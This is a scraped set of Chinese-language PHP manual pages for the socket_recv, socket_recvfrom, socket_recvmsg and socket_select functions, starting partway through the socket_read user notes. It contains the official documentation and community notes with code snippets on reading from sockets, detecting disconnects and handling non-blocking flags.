2nd call in loop: socket_read() returns FALSE (bool) and socket_last_error() gives you a SOCKET_EWOULDBLOCK (http://de1.php.net/manual/de/sockets.constants.php)

There is not a single time i got a empty string back from socket_read.
And im "working" on this problem(bug?) since a week or so.

You better use socket_recv() instead.
(good luck)
eng.mrkto.com 29-Mar-2011 04:42
It seems like in socket_* functions in BLOCKING mode where is no way to check if more than $length bytes are still available in socket (like stream_get_meta_data()['unread_bytes']).
So you need to choose your prefered maximum $length (like 133693415:) or use non-blocking mode (for realy big data reciving).
t33th4n at gmail dot com 23-Feb-2009 12:53
I don't know if is it stated anywhere with this clearance, but here is the source code for detecting the connection abort/closure for sockets testing with socket_read function:

<?php
$buf = @socket_read($routes[$i][$connectionid]['tunnelsrc'], $buffer_size);
if ($buf === '')
{
    $routes[$i][$connectionid]['disconnected']='Conenction abort at source side';
}
?>

($buf === '') is the key :)

I was making an ecrypted tunnel script with mcrypt and was annoying that i could not detect the connection abort from any side.
tech [{at}] swatcash [{dot}] com 01-Jul-2008 04:23
Messed up the end of my previous one. Corrected version here:

a simple work around to non-blocking working with normal read is like so:

$read = array($socket);
$write  = NULL;
$except = NULL;
while(1) {
    $num_changed_sockets = socket_select($read, $write, $except, 0, 1);
    if ( $num_changed_sockets > '0' ) {
        socket_read($socket,10000,PHP_NORMAL_READ);
    }
}
Anonymous 15-Dec-2007 11:11
On non-blocking connections it may not return full length requested.
nad0r1 at hush dot ai 20-Nov-2007 07:59
Another way to bypass the annoying thing with telnet, that send each character as a string ,is to check if the response is "\r\n", that is the string that telnet sends when the user presses enter.

Here is an example:
<?php
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
 * as it comes in. */
ob_implicit_flush();

$address = '127.0.0.1';
$port = 100;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
else
  echo 'Socket ' . $address . ':' . $port . " has been opened\n";

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
else
   echo "Listening for new clients..\n";

   $client_id = 0;
do {
    if (($msgsock = socket_accept($sock)) === false) {
        echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
        break;
    }
    else {
        $client_id += 1;
      echo "Client #" .$client_id .": Connect\n";
    }

    /* Send instructions. */
    $msg = "\nWelcome to the PHP Test Server. \n" .
        "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
    socket_write($msgsock, $msg, strlen($msg));
$cur_buf = '';
    do {
        if (false === ($buf = socket_read($msgsock, 2048))) {
            echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
            break 2;
        }
        if ($buf == "\r\n") {
        if ($cur_buf == 'quit') {
            echo 'Client #' .$client_id .': Disconnect' . "\n";
            break;
        }
        if ($cur_buf == 'shutdown') {
            socket_close($msgsock);
            break 2;
        }
        //else {
       $talkback = "Unknown command: " . str_replace("\r\n", '\r\n', $cur_buf) ."\n";
       socket_write($msgsock, $talkback, strlen($talkback));
       // }
        echo 'Client #' .$client_id .': ' . $cur_buf . "\n";
        $cur_buf = '';
        }
        else $cur_buf .= $buf;
    } while (true);
    socket_close($msgsock);
} while (true);

socket_close($sock);
?>
jgbustos at gmail dot com 17-Jul-2007 05:47
PHP on win32 developers, please look at this bug report before using the PHP_NORMAL_READ option:

http://bugs.php.net/bug.php?id=21197

In a nutshell, using PHP_NORMAL_READ will make your calls to socket_read() return an empty buffer every time.
ein at anti-logic dot com 28-Jun-2007 11:32
the proper way to detect a closed connection is to check socket_last_error.

Connection reset by peer is 104 (either use socket_strerror or don't suppress errors for the time being to find these out), sooo.

while($buffer=@socket_read($sock,512,PHP_NORMAL_READ)){
    echo $buffer;
}
if(socket_last_error($sock) == 104) {
    echo "Connection closed";
}
nuitari-php at nuitari dot net 13-Jun-2007 11:08
PHP_NORMAL_READ - reading stops at \n or \r.

This seems to be meant literally.
If there is a \r, then it will stop reading, even if there is a \n right after it. You have to call the read again just to get rid of the \n.
dotpointer 04-Feb-2007 03:27
PHP 5.2.0 / Win32 / Apache 1.3 - It seems like...

PHP_BINARY_READ - works, but returns '', not FALSE...
- is blocking, until data received or connection closed
- does pass-through \r\n etc.
- returns data on data, '' on connection closed
- you can detect closed connection by checking for '' (not FALSE as stated i manual)

PHP_NORMAL_READ - not working so good...
- is non-blocking
- does not pass-through \r\n etc.
- returns false on no-data, false on connection closed :(
- (no way here to detect a closed connection...?)
- (is this a bug? http://bugs.php.net/bug.php?id=21880 )
- (is this a bug? http://bugs.php.net/bug.php?id=21197 )
- (could not get data from this option at all in fact...)

PHP_BINARY_READ seems to be the "right way to go"
for now. Both checking for '' and false to detect closed
connection is probably smart, as this "bug"(?) may
be fixed...
Niels laukens 21-Aug-2006 12:34
This paragraph is confusing:

socket_read() returns the data as a string on success, or FALSE on error (including if the remote host has closed the connection). The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual representation of the error.
Note: socket_read() returns a zero length string ("") when there is no more data to read.

My tests (on PHP 5.1.4) show that when you socket_read() on a shutdown-socket, it returns FALSE when using PHP_NORMAL_READ, but returns "" when reading in PHP_BINARY_READ.
Bill Kuker 18-Mar-2005 07:31
Just a note that on my system the length seems to have an undocumented upper bound of 65536. I was being lazy and not read()ing in a while loop until I pointed it at real data ;)
michi at tr51 dot org 26-May-2004 12:48
if you'd like to make a "socket_read" on a linux-system connected with a flash-client (v. 6.0 r81) you have to send a string to the connected port:

<?php

   ...  //initialising communication

    $string = "ready to get/send data\0";
    socket_write($socket, $string);

    //now you can read from...
    $line = trim(socket_read($socket, MAXLINE));

    ...  // do some stuff, finaly close connection
?>
magicking89 at hotmail dot com 30-Aug-2003 04:01
if you want to use a non block socket you must to use socket_last_error

if(!socket_last_error($sc)){
   if($buffer=socket_read($sc,512,PHP_NORMAL_READ)){
      echo $buffer;
   }
}

if you use it your script wont take all your memory
schst at php-tools dot de 04-Jul-2003 06:19
You may download a generic server class at http://www.php-tools.de
This class will accept the sockets read data from it and hands it to a callback function. Furthermore there are methods for connection handling included.
24-Sep-2002 11:48
Windows telnet sends/recieves one character at a time. Try adding PHP_NORMAL_READ to the end of socket_read, that might help.


从已连接的 socket 接收数据

  • ? socket_read
  • socket_recvfrom ?
  • PHP Manual
  • Socket 函数
  • 从已连接的 socket 接收数据

socket_recv

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_recv — 从已连接的 socket 接收数据

说明

socket_recv(
Socket $socket,
?string &$data,
int $length,
int $flags
): int|false

函数 socket_recv() 从 socket 中接收长度为 length 字节的数据，并保存在 data 中。 socket_recv() 用于从已连接的 socket 中接收数据。除此之外，可以设定一个或多个 flags 来控制函数的具体行为。

data 是传引用的，因此必须以变量的形式，指定到参数列表。从 socket 中接收到的数据将会保存在 data 中。

参数

socket

参数 socket 必须是一个由 socket_create() 创建的 Socket 实例。

data

从 socket 中获取的数据将被保存在由 data 指定的变量中。 如果有错误发生，如链接被重置，数据不可用等等， data 将被设为 null。

length

从远程主机接收长度最多为 length 字节的数据。

flags

flags 的值可以为下列任意 flag 的组合。使用按位或运算符(|)来 组合不同的 flag。

可用的 flags 值
Flag | 描述
MSG_OOB | 处理超出边界的数据
MSG_PEEK | 从接收队列的起始位置接收数据，但不将他们从接收队列中移除。
MSG_WAITALL | 在接收到至少 length 字节的数据之前，造成一个阻塞，并暂停脚本运行（block）。但是， 如果接收到中断信号，或远程服务器断开连接，该函数将返回少于 length 字节的数据。
MSG_DONTWAIT | 如果指定了该 flag，函数将不会造成阻塞，即使在全局设置中指定了阻塞设置。

返回值

socket_recv() 返回一个数字，表示接收到的字节数。如果发生了错误，则返回 false 错误码可使用 socket_last_error() 接收。也可使用函数 socket_strerror() 来取得关于错误的文字描述。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

示例

Example #1 socket_recv() 范例

该范例简单地使用 socket_recv() 重写了 示例 中的 第一个例子。

<?php
error_reporting(E_ALL);

echo "<h2>TCP/IP Connection</h2>\n";

/* 获取 WWW 服务的端口。 */
$service_port = getservbyname('www', 'tcp');

/* 获取目标主机的 IP 地址。 */
$address = gethostbyname('www.example.com');

/* 创建 TCP/IP 套接字。 */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
echo "OK.\n";
}

echo "Attempting to connect to '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
echo "OK.\n";
}

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';

echo "Sending HTTP HEAD request...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";

echo "Reading response:\n\n";
$buf = 'This is my buffer.';
if (false !== ($bytes = socket_recv($socket, $buf, 2048, MSG_WAITALL))) {
echo "Read $bytes bytes from socket_recv(). Closing socket...";
} else {
echo "socket_recv() failed; reason: " . socket_strerror(socket_last_error($socket)) . "\n";
}
socket_close($socket);

echo $buf . "\n";
echo "OK.\n\n";
?>

上面的示例将产生如下内容：

<h2>TCP/IP Connection</h2>
OK.
Attempting to connect to '208.77.188.166' on port '80'...OK.
Sending HTTP HEAD request...OK.
Reading response:

Read 123 bytes from socket_recv(). Closing socket...HTTP/1.1 200 OK
Date: Mon, 14 Sep 2009 08:56:36 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT
ETag: "b80f4-1b6-80bfd280"
Accept-Ranges: bytes
Content-Length: 438
Connection: close
Content-Type: text/html; CHARSET=gb2312

OK.

User Contributed Notes

Anonymous 10-Mar-2021 09:49
<?php

namespace Safe;

use Safe\Exceptions\SocketsException;

/**
 * After the socket socket has been created
 * using socket_create, bound to a name with
 * socket_bind, and told to listen for connections
 * with socket_listen, this function will accept
 * incoming connections on that socket. Once a successful connection
 * is made, a new socket resource is returned, which may be used
 * for communication. If there are multiple connections queued on
 * the socket, the first will be used. If there are no pending
 * connections, socket_accept will block until
 * a connection becomes present. If socket
 * has been made non-blocking using
 * socket_set_blocking or
 * socket_set_nonblock, FALSE will be returned.
 *
 * The socket resource returned by
 * socket_accept may not be used to accept new
 * connections. The original listening socket
 * socket, however, remains open and may be
 * reused.
 *
 * @param resource $socket A valid socket resource created with socket_create.
 * @return resource Returns a new socket resource on success. The actual
 * error code can be retrieved by calling
 * socket_last_error. This error code may be passed to
 * socket_strerror to get a textual explanation of the
 * error.
 * @throws SocketsException
 *
 */
function socket_accept($socket)
{
    error_clear_last();
    $result = \socket_accept($socket);
    if ($result === false) {
        throw SocketsException::createFromPhpError();
    }
    return $result;
}

/**
 * Create a Socket resource, and bind it to the provided AddrInfo resource.  The return
 * value of this function may be used with socket_listen.
 *
 * @param resource $addr Resource created from socket_addrinfo_lookup.
 * @return resource Returns a Socket resource on success.
 * @throws SocketsException
 *
 */
function socket_addrinfo_bind($addr)
{
    error_clear_last();
    $result = \socket_addrinfo_bind($addr);
    if ($result === null) {
        throw SocketsException::createFromPhpError();
    }
    return $result;
}
lexkrstn at gmail dot com 05-Nov-2018 06:21
It seems like the flags are just passed to the underlying recv() function of your OS, hence there no MSG_DONTWAIT flag on Windows and you should not define it yourself in that case, it just won't work.
e-vela at bol dot com dot br 23-Jul-2017 07:39
Usage example for MSG_PEEK: this function tells if the socket has data available to be read, but preserving it to be read at a future moment.

<?php
// Workaround for the missing define
if(!defined('MSG_DONTWAIT')) define('MSG_DONTWAIT', 0x40);

// Function to check if there is data available in the socket
function SocketHasData($socket) {
    // Based on the following fact:
    // $result=0 -> disconnected, $result=false -> no data

    $data = ''; // We need a buffer, but we won't use it

    // MSG_PEEK means to preserve data in the queue, so it can
    // actually be read afterwards
    $result = socket_recv($socket, $data, 1, MSG_PEEK | MSG_DONTWAIT );

    if ($result === false) return false; // If no data, returns false
    return true; // Otherwise returns true
}
?>
cottton at i-stats dot net 13-Oct-2014 02:17
socket_recv()
returns FALSE if client returned no data
returns 0 (zero) if client disconnected

also (asuming case socket_select() "gave" us a "changed" socket):
if
socket_recv() returned FALSE
and no bytes were received
then
client "crashed" (call it disconnected).

else if
socket_recv() returned 0 (zero)
and no bytes were received
then
client "normaly" disconnected.

Im pretty sure -- 99.99%.
Example:
<?php
function receive($socket)
{
    // !
    // on all following cases we assume that
    // socket_select() returned the current socket as "changed"
    // !

    $timeout = 3; // set your timeout

    /* important */
    $socket_recv_return_values['no_data_received'] = false;
    $socket_recv_return_values['client_disconnected'] = 0;

    $start = time();
    $received_data = null;
    $received_bytes = null;
    socket_set_nonblock($socket);
    socket_clear_error();
    while(
        ($t_out=((time()-$start) >= $timeout)) === false
        and ($read=@socket_recv($socket, $buf, 4096, 0)) >= 1
    ){
        $received_data  = (isset($received_data)) ? $received_data . $buf : $buf;
        $received_bytes = (isset($received_bytes)) ? $received_bytes + $read : $read;
    }
    $last_error = socket_last_error($socket);
    socket_set_block($socket);

    if($t_out === true){
        throw new Exception(
            'timeout after ' . ((!$received_bytes) ? 0 : $received_bytes) . ' bytes',
            0 // your eCode here
        );
    }
    elseif($last_error !== false and $last_error !== 0){
        throw new Exception(
            socket_strerror($last_error),
            $last_error
        );
    }
    else{
        if($read === $socket_recv_return_values['no_data_received']){
            // client returned NO DATA
            // but we were in a loop and could have got some data before:
            if($received_bytes < 1){
                // client is connected but sent NO DATA ?
                // no:
                // in this case the client must be "crashed" because -
                // it is not possible to "send no data" (zero bytes)
                // socket_select() now returns this socket as "changed" "forever"
                throw new Exception(
                    'client crashed',
                    0 // your eCode here
                );
            }else{
                // client returned DATA
                return $received_data;
            }
        }
        elseif($read === $socket_recv_return_values['client_disconnected']){
            // client disconnected
            if($received_bytes < 1){
                // client disconnected before/without sending any bytes
                throw new Exception(
                    'client disconnected',
                    0 // your eCode here
                );
            }
            else{
                // *this value* ^= $socket_recv_return_values['client_disconnected']
                //
                // client disconnected AFTER sending data (we were in a loop!)
                // socket_select() will return this socket "forever" as "changed" and -
                // socket_recv() will return *this value* "forever".
                // we will be "back" again "very soon" to see:
                //  socket_recv() returns *this value* AND no bytes received
                //  which results in disconnect-exception above
                return $received_data;
            }
        }
    }
}
?>
m_lajos at hotmail dot com 14-Jul-2014 03:45
Workaround for the missing MSG_DONTWAIT flag according to the bug report page:

<?php if(!defined('MSG_DONTWAIT')) define('MSG_DONTWAIT', 0x40); ?>
ss-130 at yandex dot ru 17-Jul-2013 11:09
<?php
$er = error_reporting(0);
$bytes    = socket_recv($socket,$buffer,1,MSG_WAITALL);
error_reporting($er);

// MEGA BUG HERE
// this statuses are wrong and swapped, closed socket must be with "FALSE"
// but in fact he swap the values:
// http://php.net/manual/en/function.socket-recv.php
//
if($bytes===false){ // no data available, socket not closed
    echo 'WS_READ_ERR1: '.socket_strerror(socket_last_error($socket)).PHP_EOL;
    // print when no data available:
    // WS_READ_ERR1: Resource temporarily unavailable
    continue;
}else if($bytes===0){ // socket closed
    echo 'WS_READ_ERR2: '.socket_strerror(socket_last_error($socket)).PHP_EOL;
    // print when socket closed:
    // WS_READ_ERR2: Success
    $process->close();
}

?>
davide dot renzi at gmail dot com 01-Mar-2012 08:50
In PHP version 5.* there is a bug: MSG_DONTWAIT flag is not defined (see https://bugs.php.net/bug.php?id=48326)
rathamahata at rathamahata dot net 25-Aug-2005 04:44
It looks like that mysterious flags are just the recv(2) flags passed to your OS syscall and nothing more...

ext/sockets/sockets.c:PHP_FUNCTION(socket_recv)
...
        if ((retval = recv(php_sock->bsd_socket, recv_buf, len, flags)) < 1) {
                efree(recv_buf);
...

for linux you can type `man 2 recv' and you will see complete description of thouse flags.

Sergey S. Kosrtyliov <rathamahata@rathamahata.net>
http://www.rathamahata.net/
06-May-2005 04:59
My last post was incorrect. The int flag set to 2 apparently reset the file position pointer so what I was reading was the first record repeatedly.

My workaroud ended up being the following:

for($ct=1; $ct<=$numrecs; $ct++) {
    $rec = "";
    $nr=socket_recv($fp,$rec,76,0);

    //grab the extra bytes.
    $terminator = "";
    while ($terminator != ".") {
        $nr=socket_recv($fp,$terminator,1,0);
    }

     $custarray[]=substr($rec,0,76);
}

Martin K.
05-May-2005 07:42
I'm glad that Bastion left the above post about the mysterious int flag. He just helped to fix a problem that I've spent six hours on. Here's my code:

for($ct=1; $ct<=$numrecs; $ct++) {
     $rec = "";
     $nr=socket_recv($fp,$rec,77,0);
     print "Rec # $ct -->";
         print "$rec";
         print "<br>";
      }

The code is pretty simple, it just loops through all my records and prints them out. All records are 77 bytes and all end with a period. The first 36 records print perfectly then at 37 things go bad. The records start to get offset. The last few characters of the 37th record end up printing on the 38th record. The data on the sending side was perfect, so I knew that the problem was with socked_recv.

After reading the above post I tried changing the int flag. Changing the flag to 2 worked:
$nr=socket_recv($fp,$rec,77,2);

Now everything lines up perfectly. I had always left int flag as 0 since it's undocumented.

Martin K.
engine at [NO SPAM] illusiononly dot com 30-Nov-2004 04:58
To read from socket both on linux and windows OS having  flash as a client I use function bellow. $length is the size of  a chunk, not the max length to read. It will continue reading until EOL char  occures or client disconnects (or in case of error), so it works for bigger packets as well.

     function read($descriptor, $length = 1024) {
            $this->method = "read";
            if(!$client){
                echo("No valid socket descriptor !\n");
                return false;
            }
            $read ='';
        while(($flag=socket_recv($descriptor, $buf, $length,0))>0){
              $asc=ord(substr($buf, -1));
            if ($asc==0) {
                $read.=substr($buf,0,-1);
                break;
            }else{
                $read.=$buf;
            }
        }
           if ($flag<0){
            //error
            return false;
        }elseif ($flag==0){
            //Client disconnected
            return  false;
        }else{
              return $read;
        }

     }
dgk at tcde dot ru 05-Nov-2004 03:57
I've used socket_select and socket_recv with a while loop and found myself in trouble when remote side closed connection. The code below produced infinite loop and socket_select returned immediately (which lead to high cpu time consumption).

<?

socket_set_nonblock($my_socket);
$streams = array($my_socket/*, ... */);

$lastAccess = time();
while (socket_select($streams, $write = NULL, $except = NULL, SLEEP_TIME_SECONDS, SLEEP_TIME_MILLISECONDS) !== FALSE) {
    if (in_array($my_socket, $streams)) {
        while (@socket_recv($my_socket, $data, 8192, 0)) {
            echo $data;
        }
        $lastAccess = time();
    } else {
        if (time()-$lastAccess > LAST_ACCESS_TIMEOUT) {
            break;
        }
    }
    // ...
    $streams = array($my_socket/*, ... */);
}

?>

The solution was simple, but quite hard to find because socket_recv is not documented. socket_recv returns FALSE if there is no data and 0 if the socket is widowed (disconnected by remote side). So I had just to check return value of socket_recv. The problem now sounds stupid, but I've spend some time to find it out.
I hope this will save some of somebody's hair ;)
bastiaan at [no-spam] megabass dot nl 05-Apr-2004 09:35
in case you want to empty/unset $buffer, but failing to do so, try using 0 as flag.
PHP_NORMAL_READ and PHP_BINARY_READ respectively hold 1 and 2 as value.


从套接字接收数据，无论它是否是面向连接的

  • ? socket_recv
  • socket_recvmsg ?
  • PHP Manual
  • Socket 函数
  • 从套接字接收数据，无论它是否是面向连接的

socket_recvfrom

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_recvfrom — 从套接字接收数据，无论它是否是面向连接的

说明

socket_recvfrom(
Socket $socket,
string &$data,
int $length,
int $flags,
string &$address,
int &$port = null
): int|false

函数 socket_recvfrom() 使用 socket 从 address 的 port 端口上接收 length 字节数据到 data 中（如果套接字不是 AF_UNIX 类型）。socket_recvfrom() 可用于从已连接或未连接的套接字上收集数据。另外，可以指定一个或多个标志来修改函数的行为。

address 和 port 必须是引用传递。如果套接字不是面向连接的，address 将设置为远程主机的互联网协议地址或 UNIX 套接字路径。如果套接字是面向连接的，address 是 null。另外，在 AF_INET 或 AF_INET6 套接字未连接的情况下，port 将包含远程主机的端口号。

Note: 此函数可安全用于二进制对象。

参数

socket

socket 必须是先前由 socket_create() 创建的 Socket 实例。

data

收到的数据将提取到 data 指定的变量。

length

最多可从远程主机获取的 length 字节数。

flags

flags 的值可以是下列任意 flag 的组合。使用按位或运算符（|）来组合不同的 flag。

flags 可用值
Flag | 描述
MSG_OOB | 处理带外数据。
MSG_PEEK | 从接收队列的起始位置接收数据，但不将他们从接收队列中移除。
MSG_WAITALL | 在接受到至少 length 字节数据前阻塞。但是，如果接收到中断信号，或远程主机断开链接，函数可能返回不足 length 字节的数据。
MSG_DONTWAIT | 如果指定了该 flag，即使原有套接字是阻塞的，此函数也不会阻塞。
address

如果套接字是 AF_UNIX 类型，address 是文件路径。否则，对于未连接的套接字，address 是远程主机的 IP 地址，如果套接字是面向连接的，是 null。

port

此参数只适用于 AF_INET 和 AF_INET6 类型的套接字，并指定接收数据的远程端口。如果套接字是面向连接的，port 是 null。

返回值

socket_recvfrom() 返回接收到的字节数，发生错误时返回 false。可以通过调用 socket_last_error() 来检索实际的错误代码。此错误码可以传递给 socket_strerror() 获得错误的文本解释。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

示例

Example #1 socket_recvfrom() 示例

<?php

$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($socket, '127.0.0.1', 1223);

$from = '';
$port = 0;
socket_recvfrom($socket, $buf, 12, 0, $from, $port);

echo "Received $buf from remote address $from and remote port $port" . PHP_EOL;
?>

此示例将在 127.0.0.1 的 1233 端口上初始化 UDP 套接字，并打印从远程主机收到的至少 12 个字符。

参见

  • socket_recv() - 从已连接的 socket 接收数据
  • socket_send() - 向已连接的套接字发送数据
  • socket_sendto() - 向套接字发送消息，无论它是否已建立连接
  • socket_create() - 创建一个套接字（通讯节点）

User Contributed Notes

ply2attoetensen-project.com 17-Dec-2016 10:07
MSG_DONTWAIT doesn't seem to exist in windows sockets. However socket_set_nonblock() seems to do the trick.
lorin dot weilenmann at gmail dot com 21-Aug-2015 10:24
If you use socket_recvfrom on a UDP socket and combine it with the MSG_DONTWAIT flag, it will raise a PHP Warning if there is nothing to read. AFAIK, there is no way around that warning except suppressing it with @ (i.e. you cannot check if there is data before calling socket_recvfrom).
davide dot renzi at gmail dot com 01-Mar-2012 08:52
Pay attention! On some PHP version the MSG_DONTWAIT flag is not defined (see https://bugs.php.net/bug.php?id=48326)
jaggerwang at gmail dot com 07-Nov-2007 09:56
I'm confused about the rerturn value of socket_recvfrom(), it said -1 when failed, but when I call like this:

if (($len = @socket_recvfrom($sock, $result, 32, 0, $ip, $port)) == -1) {
    if ($this->_debug) {
        echo "socket_read() failed: " . socket_strerror(socket_last_error()) . "\n";
    }
    return false;
}

variable $len = false, when I change the buffer length from 32 to 4096, it becomes right.
ryan_at_ryanfisher_dot_com 01-Oct-2006 10:27
DNS RELAY USING UDP SOCKETS

<?php

while(TRUE) {
   $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
   if($socket === FALSE)
   {
       echo 'Socket_create failed: '.socket_strerror(socket_last_error())."\n";
   }
   if(!socket_bind($socketD, "0.0.0.0", 53)) {
       socket_close($socketD);
       echo 'socket_bind failed: '.socket_strerror(socket_last_error())."\n";
   }
   socket_recvfrom($socket,$buf,65535,0,$clientIP,$clientPort);
   $stz = bin2hex($buf);
   $tx = "";
   for($i=0;$i<(strlen($stz)-26-10)/2;$i++)
   {
     $e = "00";
     $e[0] = $stz[$i*2+26];
     $e[1] = $stz[$i*2+27];
     $f = hexdec($e);
     if($f > 0 && $f < 32) $tx .= "."; else
     $tx .= sprintf("%c",$f);
   }
   echo "$clientIP <".$tx.">\n";
   $fp = fsockopen("udp://72.174.110.4",53,$errno,$errstr);
   if (!$fp)
   {
       echo "ERROR: $errno - $errstr<br />\n";
   }
   else
   {
      fwrite($fp,$buf);
      $ret = $buf;
      $ret = fread($fp,667);
      fclose($fp);
   }
  }
socket_send($socket,$ret,667,0);
}
?>


Read a message

  • ? socket_recvfrom
  • socket_select ?
  • PHP Manual
  • Socket 函数
  • Read a message

socket_recvmsg

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

socket_recvmsg — Read a message

说明

socket_recvmsg(Socket $socket, array &$message, int $flags = 0): int|false

Warning

本函数还未编写文档，仅有参数列表。

参数

socket

message

flags

返回值

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

参见

  • socket_sendmsg() - Send a message
  • socket_cmsg_space() - Calculate message buffer size

User Contributed Notes

251701981 at qq dot com 18-Apr-2023 07:58
$sockets = [];
        \socket_create_pair(AF_UNIX,SOCK_DGRAM,0,$sockets);

        $proc = new \Swoole\Process(function()use($sockets){

            socket_close($sockets[0]);

            $f = fopen(__FILE__,'r');
            var_dump($f);
            socket_sendmsg($sockets[1],[ 'control'=>[['level'=>SOL_SOCKET,'type'=>SCM_RIGHTS,'data'=>[$f]] ] ],0);
            sleep(10);

        },false,2,1);

        $proc->start();

        socket_close($sockets[1]);

        $data = [
            'controllen'=>socket_cmsg_space(SOL_SOCKET,SCM_RIGHTS,1)
        ];

        socket_recvmsg($sockets[0],$data,0);

        var_dump($data);

        sleep(10);


从给定套接字数组运行带指定超时时间的 select() 系统调用

  • ? socket_recvmsg
  • socket_send ?
  • PHP Manual
  • Socket 函数
  • 从给定套接字数组运行带指定超时时间的 select() 系统调用

socket_select

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_select — 从给定套接字数组运行带指定超时时间的 select() 系统调用

说明

socket_select(
?array &$read,
?array &$write,
?array &$except,
?int $seconds,
int $microseconds = 0
): int|false

socket_select() 接受套接字数组并等待其状态改变。如果拥有 BSD 套接字背景，会认识到这些套接字数组事实上被称为文件描述符集合。观察三个独立套接字数组。

参数

read

read 数组中列出要检查是否可读的套接字（更准确地说，查看读取是否会阻塞-特别是套接字在 EOF 时也可以是就绪状态，此时 socket_read() 将会返回长度为 0 的字符串。

write

write 数组中列出要检查的写入是否阻塞的套接字。

except

except 数组中列出要检查的是否异常的套接字。

seconds

seconds 和 microseconds
构成 timeout 参数。timeout
是 socket_select() 返回前的运行时间上限。seconds
可以是 0，使 socket_select() 立即返回。这在轮询时很有用。如果 seconds
是 null（不会超时），socket_select() 会无限期阻塞。

microseconds

Warning

函数退出时，数组中状态发生变更的套接字将会被修改。

你不需要将每个数组都传递到 socket_select() 中。可以将它忽略或者使用空数组和 null 代替。不要忘记这些数组是引用传递的，在 socket_select() 返回时会被修改。

Note:

由于当前 Zend 引擎的限制，无法使用像 null 这样的常数修饰符直接作为参数传递给期望获取引用参数的方法。而是使用临时变量或表达式：

Example #1 socket_select() 使用 null

<?php
$e = NULL;
socket_select($r, $w, $e, 0);
?>

返回值

成功时 socket_select() 返回数组中被修改的套接字个数，如果超时则可能返回 0。失败时时返回 false。可以使用 socket_last_error() 检索错误码。

Note:

确保使用 === 运算符来检查错误。因为 socket_select() 可能返回 0，使用 == 将被计算为 true：

Example #2 理解 socket_select() 的返回值

<?php
$e = NULL;
if (false === socket_select($r, $w, $e, 0)) {
echo "socket_select() failed, reason: " .
socket_strerror(socket_last_error()) . "\n";
}
?>

示例

Example #3 socket_select() 示例

<?php
/* Prepare the read array */
$read = array($socket1, $socket2);
$write = NULL;
$except = NULL;
$num_changed_sockets = socket_select($read, $write, $except, 0);

if ($num_changed_sockets === false) {
/* Error handling */
} else if ($num_changed_sockets > 0) {
/* At least at one of the sockets something interesting happened */
}
?>

注释

Note:

请注意，处理某些实现的套接字时需要特别小心。一些基本规则：

  • 始终使用不带超时时间的 socket_select()，如果没有可用数据，程序不会做任何事。依赖超时的代码通常不可移植并且很难调试。
  • 不打算在 socket_select() 调用后检查值的套接字不要添加到集合中。socket_select() 返回后，必须检查所有数组中的套接字。任何可写套接字需要处理写事件，任何可读套接字需要处理读事件。
  • 在处理数组中返回套接字的读或写操作时，可能并不会读取或写入请求的所有数据。需要做好仅仅读取或写入单个字节的准备。
  • 在大多数套接字实现中，仅在套接字收到带外数据时，except 中的套接字可以捕获异常。

参见

  • socket_read() - 从套接字中读取最大长度的数据
  • socket_write() - 向套接字写数据
  • socket_last_error() - 返回套接字上的最后一个错误
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

juanfe0245 at gmail dot com 14-Jan-2020 09:39
<?php
//Creamos un socket de transmisión de tipo TCP / IP.
$servidorSocket=socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
//Configuramos la opción para reutilizar el puerto.
socket_set_option($servidorSocket,SOL_SOCKET,SO_REUSEADDR,1);
/*
    Vinculamos el socket a nuestro puerto y dirección IP.
    Ahora, todas las conecciones en este puerto son nuestro responsabilidad para recibir y enviar datos.
*/
socket_bind($servidorSocket,'localhost',9000);
//Comenzamos a escuchar conexiones.
socket_listen($servidorSocket);
/*
    Creamos un arreglo con todos los clientes que se conectarán a nuestro servidor.
    A?adimos nuestro socket servidor al arreglo de clientes.
*/
$clientes=[$servidorSocket];
$null=null;
while(true){
    //Creamos una copia de $clientes, debido a que $clientes no se modifica por la función socket_select().
    $nuevoClienteLector=$clientes;
    //Obtenemos una lista de todos los clientes que tienen datos para leer.
    socket_select($nuevoClienteLector,$null,$null,10);
    //Verificamos si hay un cliente tratando de conectarse.
    if(in_array($servidorSocket,$nuevoClienteLector)){
        //Aceptamos el cliente y lo a?adimos al arreglo de $clientes.
        $nuevoCliente=socket_accept($servidorSocket);
        echo "Socket aceptado.\n";
        $clientes[]=$nuevoCliente;
        //Obtenemos el encabezado del cliente y realizamos la comprobación del handshake.
        $encabezado=socket_read($nuevoCliente,1024);
